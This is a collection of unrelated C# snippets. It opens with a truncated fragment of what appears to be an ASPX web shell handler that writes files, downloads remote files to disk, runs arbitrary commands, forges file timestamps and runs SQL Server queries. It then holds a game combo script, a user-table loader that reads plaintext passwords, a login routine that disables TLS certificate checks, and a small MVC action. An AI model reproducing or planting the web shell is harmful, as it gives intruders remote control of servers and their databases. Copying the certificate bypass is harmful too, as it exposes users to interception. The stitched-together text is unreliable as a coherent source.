0; i < Z2.Length; i += 2) { B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16); } FileStream fs = new FileStream(Z1, FileMode.Create); fs.Write(B, 0, B.Length); fs.Close(); R = "1"; break; } case "H": { CP(Z1, Z2); R = "1"; break; } case "I": { if (Directory.Exists(Z1)) { Directory.Move(Z1, Z2); } else { File.Move(Z1, Z2); } break; } case "J": { Directory.CreateDirectory(Z1); R = "1"; break; } case "K": { DateTime TM = Convert.ToDateTime(Z2); if (Directory.Exists(Z1)) { Directory.SetCreationTime(Z1, TM); Directory.SetLastWriteTime(Z1, TM); Directory.SetLastAccessTime(Z1, TM); } else { File.SetCreationTime(Z1, TM); File.SetLastWriteTime(Z1, TM); File.SetLastAccessTime(Z1, TM); } R = "1"; break; } case "L": { HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1)); RQ.Method = "GET"; RQ.ContentType = "application/x-www-form-urlencoded"; HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse(); Stream WF = WB.GetResponseStream(); FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write); int i; byte[] buffer = new byte[1024]; while (true) { i = WF.Read(buffer, 0, buffer.Length); if (i < 1) { break; } FS.Write(buffer, 0, i); } WF.Close(); WB.Close(); FS.Close(); R = "1"; break; } case "M": { System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2)); System.Diagnostics.Process e = new System.Diagnostics.Process(); System.IO.StreamReader OT, ER; c.UseShellExecute = false; c.RedirectStandardOutput = true; c.RedirectStandardError = true; e.StartInfo = c; c.Arguments = string.Format("{0} {1}", Z1.Substring(0, 2), Z2); e.Start(); OT = e.StandardOutput; ER = e.StandardError; e.Close(); R = OT.ReadToEnd() + ER.ReadToEnd(); break; } case "N": { String strDat = Z1.ToUpper(); SqlConnection Conn = new SqlConnection(Z1); Conn.Open(); R = Conn.Database + "\t"; Conn.Close(); break; } case "O": { String[] x = Z1.Replace("\r", "").Split('\n'); String strConn = x[0], strDb = x[1]; SqlConnection Conn = new SqlConnection(strConn); Conn.Open(); DataTable dt = Conn.GetSchema("Columns"); Conn.Close(); for (int i = 0; i < dt.Rows.Count; i++) { R += String.Format("{0}\t", dt.Rows[i][2].ToString()); } break; } case "P": { String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4]; String strConn = x[0], strDb = x[1], strTable = x[2]; p[0] = strDb; p[2] = strTable; SqlConnection Conn = new SqlConnection(strConn); Conn.Open(); DataTable dt = Conn.GetSchema("Columns", p); Conn.Close(); for (int i = 0; i < dt.Rows.Count; i++) { R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString()); } break; } case "Q": { String[] x = Z1.Replace("\r", "").Split('\n'); String strDat, strConn = x[0], strDb = x[1]; int i, c; strDat = Z2.ToUpper(); SqlConnection Conn = new SqlConnection(strConn); Conn.Open(); if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0) { SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn); DataSet ds = new DataSet(); OD.Fill(ds); if (ds.Tables.Count > 0) { DataRowCollection rows = ds.Tables[0].Rows; for (c = 0; c < ds.Tables[0].Columns.Count; c++) { R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString()); } R += "\r\n"; for (i = 0; i < rows.Count; i++) { for (c = 0; c < ds.Tables[0].Columns.Count; c++) { R += String.Format("{0}\t|\t", rows[i][c].ToString()); } R += "\r\n"; } } ds.Clear(); ds.Dispose(); } else { SqlCommand cm = Conn.CreateCommand(); cm.CommandText = Z2; cm.ExecuteNonQuery(); R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n"; } Conn.Close(); break; } default: goto End; } } catch (Exception E) { R = "ERROR:// " + E.Message; } response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D"); End :; } response.End(); }
public static void Combo() { if (MenuManager.ComboMenu["R"].GetValue <MenuBool>().Enabled&& SpellManager.R.IsReady()) { if (MenuManager.ComboMenu["QUpgradeHits"].GetValue <MenuSliderButton>().Enabled&& QR.IsReady()) { var target = TargetSelector.GetTarget(500); if (target != null) { if (target.IsValidTarget(QR.Range) && objPlayer.Position.CountEnemyHeroesInRange(550) >= MenuManager.ComboMenu["QUpgradeHits"].GetValue <MenuSliderButton>().Value&& objPlayer.HasBuff("HeimerdingerR")) { SpellManager.Q.Cast(objPlayer.Position.Extend(target.Position, +280)); } else if (!objPlayer.HasBuff("HeimerdingerR") && objPlayer.Position.CountEnemyHeroesInRange(550) <= MenuManager.ComboMenu["QUpgradeHits"].GetValue <MenuSliderButton>().Value) { SpellManager.R.Cast(); } } } switch (MenuManager.ComboMenu["RMode"].GetValue <MenuList>().SelectedValue) { case "E-R-W": var target = TargetSelector.GetTarget(WR.Range); if (target.Health < DamageManager.GetDamageByChampion(target)) { if (target.IsValidTarget(SpellManager.E.Range) && MenuManager.ComboMenu["E"].GetValue <MenuBool>().Enabled) { var getPrediction = SpellManager.E.GetPrediction(target); if (getPrediction.Hitchance >= HitChance.High) { SpellManager.E.Cast(getPrediction.CastPosition); } } if (target.IsValidTarget(WR.Range) && SpellManager.W.IsReady() && objPlayer.HasBuff("HeimerdingerR")) { var getPrediction = WR.GetPrediction(target); if (getPrediction.Hitchance >= HitChance.Immobile && Variables.TickCount - SpellManager.E.LastCastAttemptT > 500) { WR.Cast(getPrediction.CastPosition); } } else if (!objPlayer.HasBuff("HeimerdingerR") && !SpellManager.E.IsReady()) { if (SpellManager.E.IsReady() && !SpellManager.W.IsReady()) { return; } SpellManager.R.Cast(); } } break; case "W-R-E": target = TargetSelector.GetTarget(ER.Range); if (target.IsValidTarget(SpellManager.W.Range) && MenuManager.ComboMenu["W"].GetValue <MenuBool>().Enabled) { var getPrediction = SpellManager.W.GetPrediction(target); if (getPrediction.Hitchance >= HitChance.High) { SpellManager.W.Cast(getPrediction.CastPosition); } } if (target.IsValidTarget(ER.Range) && SpellManager.E.IsReady() && objPlayer.HasBuff("HeimerdingerR")) { var getPrediction = ER.GetPrediction(target); if (getPrediction.Hitchance >= HitChance.Immobile) { ER.Cast(getPrediction.CastPosition); } } else if (!objPlayer.HasBuff("HeimerdingerR") && !SpellManager.W.IsReady()) { SpellManager.R.Cast(); } break; } } if (MenuManager.ComboMenu["E"].GetValue <MenuBool>().Enabled&& SpellManager.E.IsReady() && !objPlayer.HasBuff("HeimerdingerR")) { var target = TargetSelector.GetTarget(SpellManager.E.Range); if (target.IsValidTarget(SpellManager.E.Range) && target != null) { var getPrediction = SpellManager.E.GetPrediction(target); SpellManager.E.Cast(getPrediction.CastPosition); } } if (MenuManager.ComboMenu["Q"].GetValue <MenuBool>().Enabled&& SpellManager.Q.IsReady() && !objPlayer.HasBuff("HeimerdingerR")) { var target = TargetSelector.GetTarget(SpellManager.Q.Range + 300); if (target.IsValidTarget(SpellManager.Q.Range + 300) && target != null) { SpellManager.Q.Cast(objPlayer.Position.Extend(target.Position, +300)); } } if (MenuManager.ComboMenu["W"].GetValue <MenuBool>().Enabled&& SpellManager.W.IsReady() && !objPlayer.HasBuff("HeimerdingerR") && !SpellManager.E.IsReady()) { var target = TargetSelector.GetTarget(SpellManager.W.Range); if (target.IsValidTarget(SpellManager.W.Range) && target != null) { var getPrediction = SpellManager.W.GetPrediction(target); SpellManager.W.Cast(getPrediction.CastPosition); } } }
public List <usuarioDTO> cargaUsuario() { try { SqlConnection conexao1 = new SqlConnection(); conexao1.ConnectionString = Properties.Settings.Default.conexao1; SqlCommand comando = new SqlCommand(); comando.CommandType = System.Data.CommandType.Text; comando.CommandText = "SELECT * FROM TB_USUARIO"; comando.Connection = conexao1; SqlDataReader ER; List <usuarioDTO> listUsuarioDTO = new List <usuarioDTO>(); // Objeto tipo lista "TABELA" conexao1.Open(); ER = comando.ExecuteReader(); // Realiza a leitura if (ER.HasRows) { while (ER.Read()) // Enquanto tiver linha para ler { usuarioDTO USU = new usuarioDTO(); USU.ID_USU = Convert.ToInt32(ER["Id_usuario"]); USU.NOME_USU = Convert.ToString(ER["Nome_usu"]); USU.LOGIN_USU = Convert.ToString(ER["Login_usu"]); USU.SENHA_USU = Convert.ToString(ER["Senha_usu"]); USU.EMAIL_USU = Convert.ToString(ER["Email_usu"]); USU.CAD_USU = Convert.ToDateTime(ER["Cad_usu"]); USU.FLG_SITUACAO = Convert.ToString(ER["Flg_situacao"]); ////////////////////////////////////// if (USU.FLG_SITUACAO == "1") { USU.FLG_SITUACAO = "Ativo"; } else { USU.FLG_SITUACAO = "Inativo"; } ////////////////////////////////////////////////////////// USU.COD_PERFIL = Convert.ToString(ER["Cod_perfil"]); ////////////////////////////////////////////////////////// switch (Convert.ToInt32(USU.COD_PERFIL)) { case 1: USU.COD_PERFIL = "Administrador"; break; case 2: USU.COD_PERFIL = "Gerencial"; break; case 3: USU.COD_PERFIL = "Operador"; break; } listUsuarioDTO.Add(USU); } } return(listUsuarioDTO); // Retorna a lista p/ quem chamou } catch (Exception ex) { throw ex; } }
protected override void _Login(LoginParamValue[] LoginParams) { ClientHandlr = new HttpClientHandler { UseCookies = true, CookieContainer = cookies, AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip }; ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true; Client = new HttpClient(ClientHandlr) { BaseAddress = new Uri("https://" + url + "/") }; Client.DefaultRequestHeaders.AcceptEncoding.Add(new System.Net.Http.Headers.StringWithQualityHeaderValue("gzip")); Client.DefaultRequestHeaders.AcceptEncoding.Add(new System.Net.Http.Headers.StringWithQualityHeaderValue("deflate")); Client.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"); Logger.DumpLog("BE login 1", 8); string APIKey = ""; foreach (LoginParamValue x in LoginParams) { if (x.Param.Name.ToLower() == "api key") { APIKey = x.Value; } } try { accesstoken = APIKey; LoginStarted = true; LoginTime = DateTime.Now; LoginTimer.Enabled = true; ConnectSocket(); if (WSClient.State == WebSocketState.Open) { Logger.DumpLog("BE login 7.1", 7); ispd = true; lastupdate = DateTime.Now; //ForceUpdateStats = true; new Thread(new ThreadStart(GetBalanceThread)).Start(); //callLoginFinished(true); return; } else { Logger.DumpLog("BE login 7.2", 7); callLoginFinished(false); return; } } catch (AggregateException ER) { Logger.DumpLog(ER.ToString(), -1); callLoginFinished(false); return; } catch (Exception ERR) { Logger.DumpLog(ERR.ToString(), -1); callLoginFinished(false); return; } callLoginFinished(false); return; }
public ActionResult Creat(ER newdata) { db.ER.Add(newdata); db.SaveChanges(); return(RedirectToAction("Index")); }